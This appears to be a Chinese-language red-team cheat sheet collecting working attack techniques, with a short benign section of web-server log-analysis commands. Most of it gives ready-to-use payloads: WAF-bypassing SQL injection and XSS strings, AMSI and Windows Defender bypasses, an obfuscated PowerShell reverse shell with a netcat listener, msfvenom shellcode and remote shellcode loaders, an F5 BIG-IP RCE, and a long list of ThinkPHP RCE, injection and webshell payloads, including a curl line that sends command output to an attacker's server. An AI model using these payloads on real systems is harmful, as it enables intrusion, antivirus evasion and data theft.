RedTeam
父进程破坏
命令explorer.exe / root与cmd.exe / c类似,只不过使用explorer会破坏进程树,会创建新实例explorer.exe,使之成为新实例下的子进程
Bypass mod_security
Xss和注入bypass mod_security
/*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4... –
<marquee loop=1 width=0 onfinish=pr\u006fmpt(document.cookie)>Y000</marquee>
/*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4,5—
%75%6e%69on = union
%73%65%6cect = select
%75%6e%69 = uni = url encode
%73%65%6c = sel = url encode
远程解压文件
pip install remotezip
#列出远程压缩包文件内容
remotezip -l http://site/bigfile.zip
#解压里面的文件
remotezip "http://site/bigfile.zip" "file.txt"
邮件地址payload
XSS
test+(<script>alert(0)</script>)@example.com
test@example(<script>alert(0)</script>).com
"<script>alert(0)</script>"@example.com
SSTI
"<%= 7 * 7 %>"@example.com
test+(${{7*7}})@example.com
SQL injection
"' OR 1=1 -- '"@example.com
"mail'); --"@example.com
SSRF
john.doe@abc123.dnslog.cn
john.doe@[127.0.0.1]
头注入
"%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com
"recipient@test.com>\r\nRCPT TO:<victim+"@test.com
Web server日志分析命令
https://gist.github.com/hvelarde/ceac345c662429447959625e6feb2b47
通过状态码获取请求总数
awk '{print $9}' /var/log/apache2/access.log | sort | uniq -c | sort –rn
按照IP的请求数量排序
awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head | awk -v OFS='\t' '{"host " $2 | getline ip; print $0, ip}'
按照ua的请求数量排序
awk -F'"' '{print $6}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head
按照url的请求数量排序
awk '{print $7}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head
按照请求页面为404的url排序
awk '$9 ~ /404/ {print $7}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head
按照请求致后端报错的IP排序
awk '$0 ~ /\[error\]/ && match($0, /(client: )(.*)(, server)/, arr) {print arr[2]}' /var/log/apache2/error.log | sort | uniq -c | sort -rn | awk -v OFS='\t' '{"host " $2 | getline ip; print $0, ip}'
获取最近10分钟的请求
awk -v date=$(date +[%d/%b/%Y:%H:%M --date="-10 minutes") '$4 > date' /var/log/nginx/access.log
Bypass AMSI
Windows 反恶意软件扫描接口 (AMSI)
方法一 混淆
$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUt'+'ils')
$h="4456625220575263174452554847"
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " "
$b =$a.GetField($s,'NonPublic,Static')
$b.SetValue($null,$true)
或使用以下脚本
https://github.com/RythmStick/AMSITrigger
PS > \AmsiTrigger.ps1 -i .\demo.ps1
方法二 内存劫持
https://rastamouse.me/memory-patching-amsi-bypass/
https://github.com/rasta-mouse/AmsiScanBufferBypass
https://github.com/crawl3r/FunWithAMSI
直接编译完使用即可
[System.Reflection.Assembly]::LoadFile("C:\\Users\\test\\Desktop\\AmsiFun.dll")
[Amsi]::Bypass()
方法三 Powershell降级
$ PowerShell -version 2
方法四 强制报错
PS > $mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
PS > [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
方法五 内存劫持混淆操作码
https://gist.github.com/FatRodzianko/c8a76537b5a87b850c7d158728717998#file-my-am-bypass-ps1
PS > .\my-am-bypass.ps1
PS > "invoke-mimikatz"
方法六 反射绕过
https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909
PS > .\am-bp-reflection.ps1
PS > "invoke-mimikatz"
方法七 Nishang
https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-AmsiBypass.ps1
PS > Import-Module .\nishang.ps1
PS > Invoke-AmsiBypass -Verbose
PS > "invoke-mimikatz"
Powershell脚本混淆绕过amsi和av
https://github.com/tokyoneon/Chimera
以下是Invoke-PowerShellTcp.ps1的片段
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
经过Chimera处理后
# Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"()
# As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden.
[bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0}
# Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat.
# Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station.
# Heeding Ben’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim.
# Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight.
$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n")
# Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth)
# An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued.
VirusTotal报告检测到0个
Kali下安装
sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help
在shells /目录中有几个Nishang脚本和一些通用脚本。所有都已经过测试
使用脚本之前,请将硬编码的IP地址(192.168.56.101)更改为您的Kali地址。
/opt/chimera$ sed -i 's/192.168.56.101/<YOUR-IP-ADDRESS>/g' shells/*.ps1
所有脚本的默认端口为4444。如果需要,再次使用sed进行更改。
/opt/chimera$ sed -i 's/4444/<YOUR-DESIRED-PORT>/g' shells/*.ps1
f:输入文件。
-o:输出文件。
-g:从脚本中省略几个Nishang特定的特征。
-v:替换变量名称。
-t:替换数据类型。
-j:替代函数名称。
-i:在每一行中插入任意注释。
-c:用任意数据替换注释。
-h:将IP地址转换为十六进制格式。
-s:替换各种字符串。
-b:在可能的情况下反引号字符串。
-e:过程完成后,检查混淆文件。
举例,nc反弹shell
nc -v -l -p 4444
把混淆好的脚本传入目标
PS> powershell.exe -ep bypass C:\path\to\chimera.ps1
获得shell
nc -v -l -p 4444
listening on [any] 4444 ...
192.168.56.105: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.107] from (UNKNOWN) [192.168.56.105] 49725
Windows PowerShell running as user on
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\target>
一些使用说明
https://github.com/tokyoneon/Chimera/blob/master/USAGE.md
CVE-2020-5902
F5 BIG-IP TMUI RCE
https://raw.githubusercontent.com/jas502n/CVE-2020-5902/master/CVE-2020-5902.py
RCE
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
读文件
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
执行Linux命令
/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
/fileSave.jsp?fileName=/tmp/cmd&content=id
/tmshCmd.jsp?command=list+/tmp/cmd
/tmshCmd.jsp?command=delete+cli+alias+private+list
一些可尝试绕过白名单的执行
forfiles /p c:\windows\system32 /m notepad.exe /c <bin>
explorer.exe /root,"<bin>"
pcalua.exe -a <bin>
scriptrunner.exe -appvscript <bin>
wmic process call create <bin>
rundll32.exe advpack.dll, RegisterOCX <bin>
绕过lsa protection
https://github.com/RedCursorSecurityConsulting/PPLKiller
Pezor免杀
使用inline_syscall内联注入shellcode,结合sgn,donut等项目,增加了一些反调试技巧
https://github.com/phra/PEzor
$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh –h
这里测试下mimikatz,-sleep设置为2分钟,执行后需等两分钟
打包之前
打包之后
测试下Covenant
动态调用进程注入逻辑
感兴趣可阅读以下
https://github.com/dtrizna/DInvoke_PoC
https://rastamouse.me/blog/process-injection-dinvoke/
https://thewover.github.io/Dynamic-Invoke/
这里测试的是使用donut的python模块。注入notepad进程
在Windows Server 2016和2019中绕过Windows Defender
当获得了一个webshell的时候,下一步要反弹个shell回来
在尝试了https://github.com/trustedsec/unicorn独角兽失败之后,找到了一篇使用golang将shellcode注入到内存的文章
https://labs.jumpsec.com/2019/06/20/bypassing-antivirus-with-golang-gopher-it/
https://github.com/brimstone/go-shellcode
https://golang.org/pkg/syscall/?GOOS=windows#NewLazyDLL
该代码利用golang中的syscall包来调用NewLazyDLL 方法来加载Kernel32.dll,加载Kernel32.dll后,即可将其用于寻址和内存分配。编译后的代码将十六进制格式的msfvenom内容用作命令行参数。
由于代码存在许久,可能直接使用会被检测到,这里对其进行了修改,重命名所有变量,通过URL方式加载shellcode,为了绕过沙盒,添加了一些其他的参数,如果不存在参数则退出执行。
用powershell下载到服务器
等了几分钟,发现文件没有被删除,再执行。Msf收到会话
在尝试了getuid命令之后,返回了错误,查看了以下目录,还是被删除了
本地复现了下,可以看到被检测到了
绕过可以看一下微软的文章
https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/configure-server-exclusions-microsoft-defender-antivirus#list-of-automatic-exclusions
Windows Server 2016和2019上的Microsoft Defender Antivirus自动将您注册为某些排除项,具体由您指定的服务器角色定义。请参阅 自动排除项列表 。这些排除项不会被windows defender检查。
按照文章,创建个目录PHP5433,修改文件为php-cgi.exe即可绕过wd的防护
使用烂土豆提权
文中webshell: https://github.com/NetSPI/cmdsql
内存中解码shellcode绕过av
https://github.com/mhaskar/Shellcode-In-Memory-Decoder
流程
打开一个进程并检索该进程的HANDLE。
在进程中分配空间(检索内存地址)。
将数据(shellcode)写入该进程中。
执行shellcode。
我们可以使用几个Win32 API执行这些步骤:
OpenProcess()
VirtualAllocEx()
WriteProcessMemory()
CreateRemoteThread()
正常情况下,我们将原始shellcode直接写入到内存中,但是如果AV /EDR检测到了Shellcode,它们肯定会发出警报
所以我们在二进制文件中使用可逆的方式把shellcode编码,再解码写入内存来规避防护。
比如加、减、异或、交换。
使用cs生成个shellcode
使用python进行异或
该脚本读取我们的shellcode的每个操作码,然后将其与字节0x01(在这种情况下为我们的密钥)进行异或,将其打印为如下的shellcode :
现在,我们将开始实现将为我们执行shellcode注入的C代码。
编译方式
x86_64-w64-mingw32-gcc decoder.c -o decoder.exe -w
我将逐步介绍每个win32 API。
打开过程并获取一个句柄
我们需要选择一个向其注入shellcode的进程,然后需要检索该过程的句柄,以便可以对其执行一些操作,我们将使用OpenProcess win32 API
该代码将您要获取其句柄的进程ID作为第一个参数,然后它将使用具有PROCESS_ALL_ACCESS访问权限的OpenProcess()来打开该进程并将该句柄保存在变量process中,最后,为我们打印
成功检索到该句柄
检索句柄后的下一步将是在该进程内分配空间,我们可以使用VirtualAllocEx()
base_address代表分配的内存的地址
16行,我们将打印分配的内存的地址,并将其写入数据
0x29d0000作为地址,
使用x64dbg附加explorer.exe进程,转到这里看看
可以看到函数VirtualAllocEx已为我们在explorer.exe中分配了内存空间,我们准备写入数据。
接下来我们解码shellcode并写到内存中
即使使用这种类型(这里用的是异或)的编码,我们的shellcode也可能会被标记,因此请确保在操作中使用之前使用更强的编码并对其进行测试。
这里为测试就只使用的0x01
这段代码将使用密钥0x01对每个字节进行解码后,将我们的shellcode写入内存中
运行
如图所见,我们将每个字节写入地址,现在我们用x64dbg进行调试,然后转到地址 0x3ce0000查看一下:
可以看到shellcode已经写入进去了。
下一步就是执行shellcode了
使用CreateRemoteThread()函数来执行
cshot shellcode远程加载器
From:
https://github.com/anthemtotheego/C_Shot
http://blog.redxorblue.com/2020/07/cshot-just-what-doctor-ordered.html
C_Shot是一种用C语言编写的攻击性安全工具,旨在通过HTTP / HTTPS下载远程shellcode二进制文件(.bin),注入并执行shellcode。
1.shellcode注入其自己的进程
2.使用父进程欺骗将shellcode注入子进程
使用C_Shot之类的工具的好处是,我们要执行的恶意代码没有存储在二进制文件中,而是从远程位置检索,读入内存然后执行。这有助于使诸如C_Shot之类的工具对AV / EDR显得相当友好,并且不会被发现。
cl / D _UNICODE / D UNICODE cshot.c
生成分阶段payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -a x64 --platform windows -b "\x00" -f raw -o /root/Desktop/DefaultStaged.bin
生成无阶段payload
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST= IP LPORT= PORT -a x64 --platform windows -b "\x00" -f raw -o /root/Desktop/DefaultStageless.bin
现在我们已经建立了二进制文件,现在需要一个Web服务。例如运行python -m SimpleHTTPServer 80,或者将它们托管在外部某个地方。对于本文中的所有示例,我将使用github托管shellcode。
确保windows defender打开。
注入到自己的进程中
测试分阶段的shellcode会被windows defender拦截
无阶段的shellcode不会被拦截
获得shell
测试分阶段shellcode欺骗父进程方法:
获得shell
现在测试下CrowdStrike
注入到自己的进程,两种shellcode都被拦截
欺骗父进程
获得shell
分阶段和无阶段的shellcode在使用欺骗父进程方法时都可以绕过av。
此工具在公共发行版中,没有进行任何形式的API隐藏,字符串混淆,内存保护技巧等工作。如果未进行任何修改,则对该工具的静态分析应该很容易发现。
thinkphp渗透手段
thinkphp 3.2.3 where注入 利用字符串方式作为where传参时存在注入 1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+ exp注入 这里使用全局数组进行传参(不要用I方法),漏洞才能生效 public function getuser(){ $User = D('User'); $map = array('id' => $_GET['id']); $user = $User->where($map)->find(); dump($user); } id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+ bind注入 public function getuser(){ $data['id'] = I('id'); $uname['username'] = I('username'); $user = M('User')->where($data)->save($uname); dump($user); } id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing find/select/delete注入 public function getuser(){ $user = M('User')->find(I('id')); dump($user); } ?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1) order by注入 public function user(){ $data['username'] = array('eq','admin'); $user = M('User')->where($data)->order(I('order'))->find(); dump($user); } order=id and(updatexml(1,concat(0x7e,(select user())),0)) 此文转自酒仙桥六号部队 TP5 开启debug下的数据库连接 tp5.0.*在debug模式下如果在数据交互点构造如sql注入、空参数等方式使数据库查询等出错,在一定情况下可能导致数据库账号密码直接显示出来。(报错信息太细了不仔细容易忽略掉)
在debug模式下找注入点也可以通过报错语句进行构造,并且由于debug模式可能导致本来没有回显的注入变成报错注入。当然目标数据库无法外连的时候,这个注入就挺有用的了。
关于log文件的利用
log文件是runtime/log目录下的,比较常见的路径类似:
/runtime/log/2020001/01.log ,默认是启用的,关于该文件主要有以下三点利用方式。
1.关于http请求的部分
常见的log文件会记录http请求,如果对应的站点存在后台等登陆,可以通过记录请求中的cookie登陆后台。
2.关于构造sql注入
某些配置下日志还会记录sql语句的执行和报错,可以用于构造sql注入,但是一般这种利用比较少,需要先找到数据交互点然后和日志中记录的赋值以及报错一一对应。
3.关于cache文件名
tp下通过缓存文件获取webshell是一个老生常谈的问题,白盒下理论上都说得通,但是实际上在使用该漏洞的时候是存在部分难点的,如生成cache文件的方式,cache文件名等。
在log文件中可能存在cache文件生成时的报错,这样可以确定目标tp的cache文件命名方式等,举个例子:
在某次渗透中目标tp的log文件。
可以注意到这里由于生成缓存文件出错,导致直接将缓存文件的文件名输出。根据输出的缓存文件名去猜测生成规则,由于tp5的缓存文件命名默认是md5(value),所以大部分时候可以把文件名等带进value进行比对。
这里通过猜测和比对确定是view的文件绝对路径生成的cache文件名。
一般来说使用php原生的md5函数去生成md5比较稳妥,笔者为了方便直接在线加密的。
这里基本上就排除了cache getshell的一大难题。之后正常去寻找能进库的交互点,比如发帖,留言这种,就能想办法获取webshell了。
tp5路由
thinkphp系列的官方开发文档是期望网站运维人员将public设置为web根目录,即使用./public/index.php作为入口文件。在实际的渗透过程中由于thinkphp是框架涉及很多二次开发,部分开发人员会选择自定义一个入口文件而不置于public目录下,如/var/www/html/index.php的形式。这里会涉及到打exp的路由问题,由于部分开发人员自定的入口文件可能导致调用的路径出现差异。
一般来说打exp的时候尽量使用./public/index.php来打,以下列exp为例:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
可能会出现例如:
http://xxx/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://xxx/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://xxx/index.php?s=\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
所以很多时候不是打一个exp无效就代表没洞,在黑盒测试的时候可能只是没有找对路由。
下面是实战中的案例:
可以看到如果以常规的exp进行测试是返回方法不存在的,因为原生路由被二次开发修改了,所以最终代码执行的payload如下:
5.0.*和5.1.*
相对来说5.0可利用的exp比较5.1要多一些,5.1主要的利用方式还是上面举例用的exp。
App.php出现问题的代码如下:
其实就是把反斜杠认定为类名,最终使得类实例化,具体的分析在这里就不拿出来水字数了。
而在渗透的过程中大的思路其实是差不多的,尝试多种exp,尝试读log文件等,可以通过简单比对两个版本的目录结构在没有其他信息的情况下判断版本。
TP5:
TP5.1:
如果网站不是以/public/作为根目录的话,又没通过报错直接体现版本的,可以通过访问目录看目录是否存在来做判断比如访问./thinkphp/,这里不推荐通过/app/目录来做判断,因为笔者遇到过很多开发者会修改这个目录,比方说改成/apps/,/applications/,也就无法准确判断是5.1还是5.0。
tp3的渗透思路
tp3 关于log文件相关的利用同上,目录一般为./Application/Runtime/logs/xxx/xx_xx_xx.log ,其中xxx为app名,文件名为年_月_日.log,如:
Application\Runtime\Logs\Home\16_09_09.log。
sql注入
tp3的sql注入指的是框架层面的注入问题,即二次开发的时候如果调用了model内的find, delete, select方法的话,就可能出现注入问题。
对于白盒测试而言,只要model.class.php没修复然后找到调用了方法的地方就可以挖掘到注入。
以select方法简单做个分析。
Model.class.php
函数可以接受一个options参数,为了构成注入肯定是要进入到_parseOptions方法,也就是要绕过两次判断,也就是只要传输的options为数组,同时主键不是数组,就能进到_parseOptions方法。
可以看到传入options['table']或options['alias']且设置options['where']值为字符串,最终会options直接返回,整个过程是没有过滤的,然后进到ThinkPHP\Libray\Think\Db\Diver.class.php,进到select方法。
可以看到sql语句是最后的parseSql生成的。
跟进到parseWhere方法,只要绕过if,最终的return的sql语句是直接拼接的,也就是注入的产生原因,会直接带入select方法执行。
黑盒测试也比较类似,一般情况下找到数据库交互点后进行注入尝试即可。
cache写shell
cache写webshell的难点在于cache文件名的确定,一般情况下是md5(绝对路径)生成的cache文件,上文也提到某些情况下可以通过log文件确定cache文件名称
cache文件写入的时候会被注释,所以需要通过%0d%0a提行绕过注释。
所以最终的payload一般为:
%0d%0aeval($_POST['cmd']);%0d%0a//
找到参数影响页面的点后通过传参写入webshell,本地可以复现,实战中倒是没遇到过。
tp3渗透主要思路
tp3的渗透在实战中利用的点比较少,所以一般而言遇到tp3的目标,最主要的思路在于找log,然后通过log去看有没有后台之类的,相对来说较一起会比对框架的注入,cache写shell等靠谱。
tp3 关于log文件相关的利用同tp5,目录一般为./Application/Runtime/logs/xxx/xx_xx_xx.log ,其中xxx为app名,文件名为年_月_日.log,如:
Application\Runtime\Logs\Home\16_09_09.log,文件名的格式可能会有变化,多尝试一下一般也能找到。
tp6的新型问题
tp6的利用链
关于model.php的__destruct()方法调用其他类__tostring()方法的文已经有人发过了,但是文中把poc打码了,这里简单跟一下。
将对象的lazySave属性设置为True进入save方法:
然后进updateData方法:
在checkAllowFields方法中调用db方法,图中方法中框起来的语句是可以拼接的,只需要将这两个属性中的一个设置为类对象,即可触发对象的__toString方法。之后的利用方式和tp5.*相同。
接着与tp5.*后的gadget是一致的,最终目的是要这个效果实现代码执行。
接下来是构造poc,由于测试利用链,笔者手写了一个unserialize。
然后通过Dido1960大佬的poc代码生成payload。
poc参见:
https://github.com/Dido1960/thinkphp/blob/master/v6.0.x/poc/poc.php
该利用链需求一个反序列化的可控点,二次开发在使用unserialize后可能导致代码执行。同时也可能利用该问题构成一个tp6的后门,如已经通过其他方式获取服务器权限,则可在某些地方加入unserialize函数实现反序列化的一个后门。
所有poc
Thinkphp5 rce poc
利用工具
https://github.com/wh1t3p1g/phpggc
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
thinkphp 5.0.22
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5
5、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
thinkphp 5.0.21
6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5.1.*
8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
11、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
12、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
未知版本
16、?s=index/\think\module/action/param1/${@phpinfo()}
17、?s=index/\think\Module/Action/Param/${@phpinfo()}
18、?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
19、index.php?s=/home/article/view_recent/name/1'
header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
20、index.php?s=/home/shopcart/getPricetotal/tag/1%27
21、index.php?s=/home/shopcart/getpriceNum/id/1%27
22、index.php?s=/home/user/cut/id/1%27
23、index.php?s=/home/service/index/id/1%27
24、index.php?s=/home/pay/chongzhi/orderid/1%27
25、index.php?s=/home/pay/index/orderid/1%27
26、index.php?s=/home/order/complete/id/1%27
27、index.php?s=/home/order/complete/id/1%27
28、index.php?s=/home/order/detail/id/1%27
29、index.php?s=/home/order/cancel/id/1%27
30、index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+
31、POST /index.php?s=/home/user/checkcode/ HTTP/1.1
Content-Disposition: form-data; name="couponid"
1') union select sleep('''+str(sleep_time)+''')#
thinkphp 5.0.23(完整版)debug模式
32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
thinkphp 5.0.23(完整版)
33、(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
thinkphp 5.0.10(完整版)
34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system
thinkphp 5.1.* 和 5.2.* 和 5.0.*
35、(post)public/index.php (data)c=exec&f=calc.exe&_method=filter
Thinkphp5 注入 poc
需开启app_debug
http://yoursite/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
http://localhost:8000/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
http://localhost:8000/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)#
http://localhost:8000/index/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#
http://localhost:8000/index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
http://localhost:8000/index/index/index?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
Thinkphp5 文件包含 poc
5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10
创建 application/index/view/index/index.html 文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马 1.jpg 放至 public 目录下(模拟上传图片操作)。接着访问 http://localhost:8000/index/index/index?cacheFile=demo.php 链接,即可触发 文件包含漏洞 。
Thinkphp5 代码执行poc
5.0.0<=ThinkPHP5<=5.0.10
http://localhost/tpdemo/public/?username=mochazz123%0d%0a@eval($_GET[_]);//
http://localhost:8000/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
写shell进日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
&
写shell进session
POST /?s=captcha HTTP/1.1
Cookie: PHPSESSID=kking
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
&
包含session getshell
POST /?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&get[]=tmp\sess_kking&server[]=1
通过日志包含getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
&
POST /?s=captcha
Cookie: PHPSESSID=kking
_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1
+号用urlencode编码为%2b,前后加ab为了凑足解码
/?s=captcha&r=phpinfo();
_method=__construct&method=get&filter[]=think\__include_file&get[]=php://filter/read=convert.base64-decode/resource=c:\www\tmp\sess_kking&server[]=1
&
POST /?s=captcha&r=phpinfo();
Cookie: PHPSESSID=kking
_method=__construct&method=get&filter[]=base64_decode&filter[]=think\__include_file&get[]=cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWM6XHd3d1x0bXBcc2Vzc19ra2luZw==&server[]=1
&
设置session
POST /?s=captcha
Cookie: PHPSESSID=kktest
_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1
文件包含
POST /?s=captcha&r=cGhwaW5mbygpOw==
_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
Thinkphp6 任意文件创建
需可控session参数,如username
/index.php?username=<?php phpinfo();?>
Cookie:1234567890123456789012345670.php
Cookie需32位
在runtime\session下生成
sess_1234567890123456789012345670.php文件
无回显情况下
找台dnslog
&server[REQUEST_METHOD]=curl xxx.dnslog.io
或用自己的vps
curl http://YOURIP/`command`
可以反弹shell或find网站文件,wget下载shell进去
3.2.x RCE
关闭debug
GET /index.php?m=--><?=phpinfo();?> HTTP/1.1
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_06_30.log
开启debug
GET /index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?> HTTP/1.1
